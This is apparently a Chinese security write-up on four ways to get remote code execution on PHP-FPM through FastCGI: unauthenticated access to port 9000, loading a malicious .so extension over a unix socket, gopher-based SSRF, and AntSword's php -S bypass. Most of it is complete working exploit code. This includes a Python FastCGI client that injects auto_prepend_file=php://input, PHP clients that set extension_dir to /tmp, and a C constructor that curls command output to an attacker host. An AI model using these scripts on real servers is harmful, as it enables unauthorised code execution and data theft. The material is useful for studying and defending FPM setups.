研究对中间件攻击至影响FPM造成RCE的四种方法

​ 我们对于Fastcgi的攻击方法有很多种,可以利用未授权访问漏洞,直接伪造发包进行php_value传入从而包含我们POST的内容进行rce;前提是服务器的9000端口暴漏在公网中;也可以利用FastCgi动态加载我们的恶意so库然后rce;甚至如果我们有服务器的ssrf漏洞,我们则可以直接利用gopher协议进行传入php_value进行攻击使其rce;

什么是FastCgi

​ Fastcgi是一种通信协议,和HTTP协议一样,都是进行数据交换的一个通道; HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给浏览器。我们可以类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。可以简单的理解来说两种协议一前一后可以实现服务器处理动态语言的效果;

介绍record头:

record的头固定8个字节,body是由头中的contentLength指定,其结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  /* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;

/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;

头是由unsigned char类型的变量组成,每个占1个字节,从上面结构可以看到requestid共占2个字节;contentlength也共占两个字节;唯一的id标志避免多个请求之间的混淆,contentlength表示body体的大小;

在语言后端拿到record之后,会根据contentlength在TCP流中截取相应的长度作为body体; Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。

介绍record中Type

type就是指定该record的作用。因为fastcgi一个record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流里传输多个record。通过type来标志每个record的作用,用requestId作为同一次请求的id。 通过下面的图,可以更清晰的认识type;

0HlStx.png

因为type为1时,表示的是第一个数据包,所以中间件向后端会先发送type为1的数据包;然后会发送4 5 6 7,可以看到这些都是中间件和后端的交互所需,然后到最后断开的时候会发送2 3的数据包;

剖析type为4时的数据包;

前面可以看到,当后端语言接收到一个type为4的record后,就会把这个record的body按照对应的结构解析成key-value对,这就是环境变量。环境变量的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength];
unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

可以看到上面清楚的显示type为4的时候共是四种结构;具体在发包的时候使用哪种结构有规则;如下:

  1. key、value均小于128字节,用FCGI_NameValuePair11
  2. key大于128字节,value小于128字节,用FCGI_NameValuePair41
  3. key小于128字节,value大于128字节,用FCGI_NameValuePair14
  4. key、value均大于128字节,用FCGI_NameValuePair44

介绍PHP-FPM(fastcgi进程管理器)

在很多phpinfo中可以看到FastCGI/FPM;FastCgi已经介绍过了,现在介绍fpm;

fpm其实是fastcgi的一个协议解析器,中间件接收http请求之后,将其按照fastcgi协议打包好,然后发送给后端的fpm;fpm在按照fastcgi协议将TCP流解析成数据;其实php代码真正执行的地方也是在fpm中;

上个例子:如果我们访问http://127.0.0.1/s1mple.php?a=1&b=3而且默认的web目录在linux为/var/www/html;这是,Nginx中间件就会将我们的请求变成如下的key-value对,并且附带发送type为4的包;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/s1mple.php',
'QUERY_STRING': '?a=1&b=3',
'REQUEST_URI': '/s1mple.php?a=1&b=3',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/s1mple.php

security.limit_extensions配置

由于之前IIS7.0爆出和php相关的解析漏洞,所以厂商加驻了一个fpm的配置项 security.limit_extensions ;从而避免非规定的文件被解析;当然如果没有这个配置项,也是可以直接将 SCRIPT_FILENAME 设置为我们需要包含执行的文件,比如/etc/passwd;从而在某些CTF题中也可以直接 /readflag。但是现在这个洞已经被厂商给补掉了;在新版本的测试中已经无;

我们来看官方的说明

1
2
3
4
5
6
7
; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

不难看出官方是指定了只可以执行php后缀的文件;所以在进行攻击的时候,可以先去看一看他的security.limit_extensions配置项,有些发行版在安装中默认是0;那就没有限制了;就可以自定义包含文件;也就可以设置为/etc/passwd。当然如果有这项配置的话,我们可以尝试/var/www/html/index.php或者使用服务器上自带的php文件。

0HlC9K.png

比如此文件。/usr/share/php/PEAR.php;

未授权访问攻击造成RCE

之前我们分析过SCRIPT_FILENAME,如果没有限制的话,我们可以自定义文件从而让服务器包含执行;但是也只是执行服务器上的文件;并不能执行我们让其执行的文件;

但是php语言的灵活性,我们知道在.htaccess中可以修改php.ini文件从而达到包含自定义文件,那么我们攻击fpm也可以类比;如果我们设置auto_prepend_file = php://input 的话,那么在程序执行之前就会提前包含下我们post传入的数据;也就是最后body中的数据;要达到这一点,也还需要开启远程文件包含 allow_url_include = On;

放出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
import socket
import random
import argparse
import sys
from io import BytesIO

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))

第二种攻击思路

​ 其实在某些时候,nginx并不是用TCP和我们fastcgi/fpm进行通信,我们上述的方法仅仅是在fastcgi协议使用TCP流和我们后端fpm进行通信时,而且是在9000端口暴漏在公网的时候的利用方法,我们可以伪造fastcgi数据包进行直接与fpm通信从而攻击;那么当中间件和我们fpm通信使用的是unix socket的时候,即同一服务器不同进程通信格式的时候,上述方法就无法使用,我们就无法发送TCP流给后端的fpm进程;所以就需要利用新的攻击方法;

利用LINUX动态加载so库进行攻击;修改 extension_dir 配置项为php添加拓展库目录然后后补拓展库;此拓展库为我们的恶意拓展库;

先来了解so;

so是shared object的意思 so文件也是ELF格式文件,共享库(动态库),类似于windows下的DLL ;

1
2
3
4
5
6
7
8
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
system("curl vps:port/`命令`");
}

constructor参数让系统执行main()函数之前调用函数(被__attribute__((__constructor__))修饰的函数);即可以直接实现在执行main函数之前提前执行system从而绕过php.ini中disable限制从而命令执行实现结果外带;gcc编译;

1
gcc s1mple.c -fPIC -shared -o s1mple.so

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
<?php 
class Client
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const RESPONDER = 1;
protected $keepAlive = false;
protected $_requests = array();
protected $_requestCounter = 0;
protected function buildPacket($type, $content, $requestId = 1)
{
$offset = 0;
$totLen = strlen($content);
$buf = '';
do {
// Packets can be a maximum of 65535 bytes
$part = substr($content, $offset, 0xffff - 8);
$segLen = strlen($part);
$buf .= chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($segLen >> 8) & 0xFF) /* contentLengthB1 */
. chr($segLen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $part; /* content */
$offset += $segLen;
} while ($offset < $totLen);
return $buf;
}
protected function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
protected function readNvpair($data, $length = null)
{
if ($length === null) {
$length = strlen($data);
}
$array = array();
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
public function buildAllPacket(array $params, $stdin)
{
// Ensure new requestID is not already being tracked
do {
$this->_requestCounter++;
if ($this->_requestCounter >= 65536 /* or (1 << 16) */) {
$this->_requestCounter = 1;
}
$id = $this->_requestCounter;
} while (isset($this->_requests[$id]));
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->keepAlive) . str_repeat(chr(0), 5), $id);
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value, $id);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
}
$request .= $this->buildPacket(self::PARAMS, '', $id);
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin, $id);
}
$request .= $this->buildPacket(self::STDIN, '', $id);
return $request;
}
}
$sock = stream_socket_client("unix:///tmp/php-cgi-74.sock", $errno, $errstr);//利用服务器上的sock文件进行通信即可
$client = new Client();
$payload_file = "/tmp/exp.php";
$params = array(
'REQUEST_METHOD' => 'GET',
'SCRIPT_FILENAME' => $payload_file,
'PHP_ADMIN_VALUE' => "extension_dir = /tmp\nextension = s1mple.so",
);
$data = $client->buildAllPacket($params, '');
fwrite($sock, $data);
var_dump(fread($sock, 4096));
?>

反观这个脚本,设置了SCRIPT_FILENAME参数为我们的exp文件,从而实现包含加载,这里有同源另类的攻击方式,看如下微改脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
<?php 
class Client
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const RESPONDER = 1;
protected $keepAlive = false;
protected $_requests = array();
protected $_requestCounter = 0;
protected function buildPacket($type, $content, $requestId = 1)
{
$offset = 0;
$totLen = strlen($content);
$buf = '';
do {
// Packets can be a maximum of 65535 bytes
$part = substr($content, $offset, 0xffff - 8);
$segLen = strlen($part);
$buf .= chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($segLen >> 8) & 0xFF) /* contentLengthB1 */
. chr($segLen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $part; /* content */
$offset += $segLen;
} while ($offset < $totLen);
return $buf;
}
protected function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
protected function readNvpair($data, $length = null)
{
if ($length === null) {
$length = strlen($data);
}
$array = array();
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
public function buildAllPacket(array $params, $stdin)
{
// Ensure new requestID is not already being tracked
do {
$this->_requestCounter++;
if ($this->_requestCounter >= 65536 /* or (1 << 16) */) {
$this->_requestCounter = 1;
}
$id = $this->_requestCounter;
} while (isset($this->_requests[$id]));
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->keepAlive) . str_repeat(chr(0), 5), $id);
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value, $id);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
}
$request .= $this->buildPacket(self::PARAMS, '', $id);
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin, $id);
}
$request .= $this->buildPacket(self::STDIN, '', $id);
return $request;
}
}
$sock = stream_socket_client("unix:///tmp/php-cgi-74.sock", $errno, $errstr);//利用服务器上的sock文件进行通信即可
$client = new Client();
$params = array(
'REQUEST_METHOD' => 'GET',
'SCRIPT_FILENAME' => '/flag',
);
$data = $client->buildAllPacket($params, '');
fwrite($sock, $data);
var_dump(fread($sock, 4096));
?>

我将之前的脚本微改得到如上脚本;去掉了最后的拓展库;从而直接包含于我们的目的文件,此做法在security.limit.extensions未开启的时候,可以攻击成功;只是现在大部分的fastcgi中间件都是开了此配置项;所以后脚本运行概率不大,但是不排除有些发行版在安装中默认是0;这其实也是隐患的所在,因为人为的失误造成的后果;

第三种攻击思路

这里前两种攻击方法都是基于服务器开启了FastCGI/fpm,然后需要一定的介质来和我们后端的fpm进行链接,要么是端口暴漏,直接利用伪造数据和后端fpm进行通信,要么有socket链接方式;我们可以通过恶意加载so库,从而bypass;那么还有几种方法;

什么是gopher

gopher协议是在http协议之前的一种协议,可以来构造HTTP数据从而进行get和post型传输数据等也可以发送其他数据请求包;这样我们就可以利用服务器直接攻击后端fpm中语言解析器;我们就可以将原本已经针对非ssrf攻击的fastcgi载荷效果直接传入后端(或者gopherus脚本形成的数据流也可),从而恶意攻击;利用gopher打好处就是不需要9000端口暴漏在公网;可以先攻击本机进行nc监听截取恶意攻击数据流,然后利用gopher协议将攻击流直接发至后端;当然,也可以直接利用gopherus脚本产生攻击TCP流也可;

0HQjB9.png

但是这里如果通信采用的是unix socket进行的话,那么gopher协议就不可继续攻击;,因为这是相同服务器上不同进程之间的通信,没有相应的端口开放;也就无法传输数据到后端语言解析器;

如果我们发现服务器存在ssrf漏洞,那么也就不用需要9000端口暴漏在公网,如果服务器开启了FastCGI/FPM,而且数据监听端口存在(数据传输方式为TCP)【即不是unix socket链接方式】;那么我们可以控制服务器发起请求,也就可以直接攻击9000端口的fpm接口,然后进行RCE;因为存在ssrf漏洞,所以我们直接利用服务器发数据通过gopher协议达到最后一步进行攻击就可以成功RCE;但是这种方法实际测试也是无法绕过disable的;

拿下ctfhub的环境权限,然后篡改页面源码造成ssrf漏洞。然后gopher协议进行攻击,发现system也被拦截;

当然,对于非disable的题;如果拿到shell之后,如果有兴趣,而且服务器也开启了FastCGI这个API;处于娱乐,也可以我们就可以直接在服务器上写入ssrf漏洞的代码;利用gopher打9000端口的fpm接口即可;也就是在服务器上打本地;就也可以直接rce;不过也没必要,已经拿到了shell,也就没必要继续复杂攻击,直接玩儿gopher攻击即可;

第四种攻击思路:

区别于第一种方法,我们可以拿到服务器权限,但是无法bypass,所以我们需要攻击中间件以致影响fpm进程,然后重启新服务;

利用恶意so文件重启新服务;这种方法来源于蚁剑;当用蚁剑进行攻击的时候,蚁剑的流程为先上传一个so文件,然后再上传一个新的php文件至web服务器的默认路径。我们下载so文件用ida打开;

0HQXnJ.png

0Hlph6.png

发现确实是执行了php -S -n 127.0.0.1:xxxxx -t /var/www/html

即再我们xxxx的新端口开启一个server;然后-n即不用php.ini,并且设置了root的初始默认路径为/var/www/html。如此,我们新端口就会有一个没有任何限制的php环境,我们也就可以任意命令执行从而bypass;

现在有个问题,即我们上传的so恶意文件和我们上传的webshell;两个看起来并没有什么关联,但是为什么我们的恶意so库可以被加载?从而开启一个新的服务?我翻了下蚁剑的底层代码;

0HQHpT.png

这里就是我们可以选则的FastCGI和fpm的数据传输方式;可以看到在蚁剑的插件中也有实际的效果;继续审计

0HQb1U.png

这里我们可以看到蚁剑验证我们的fpm链接方式是否可行;然后就是生成ext了;如下;这里有一行的命令很关键;

0HlP1O.png

这里也即是写入了我们的-n命令,导致在一个另外的端口开启了server并且不启用php.ini从而可以bypass;这里解释为什么我们的ext可以执行而不受disable的影响 ;看代码可以知道 self.generateExt(cmd)生成了一个fileBuffer ,然后下面上传了ext;将fileBuffer上传了上去;那么溯源下,看下generageExt函数;

0HQqcF.png

这里已经很明显的看到,已经标注了生成拓展;

ida打开蚁剑一个dll进行反汇编,发现如下信息:发现也太秀了,直接空出命令行,我们可以随意写命令进去

0HQv7R.png

所以php开启server的命令自然也不会被ban;对于so库为什么会被恶意包含加载,其实也是因为蚁剑向后端的fpm接口发了伪造的fastcgi的包;具体我们可以看如下的底层代码;

0HQLX4.png

可以看到和我们之前分析的方法二差不多,都是向后端fpm接口发了伪造的数据然后从而恶意拓展包含,虽然在用蚁剑攻击的时候并没有感觉,但是蚁剑已经早已发送伪造的数据进行拓展;所以可以直接攻击;

总结:

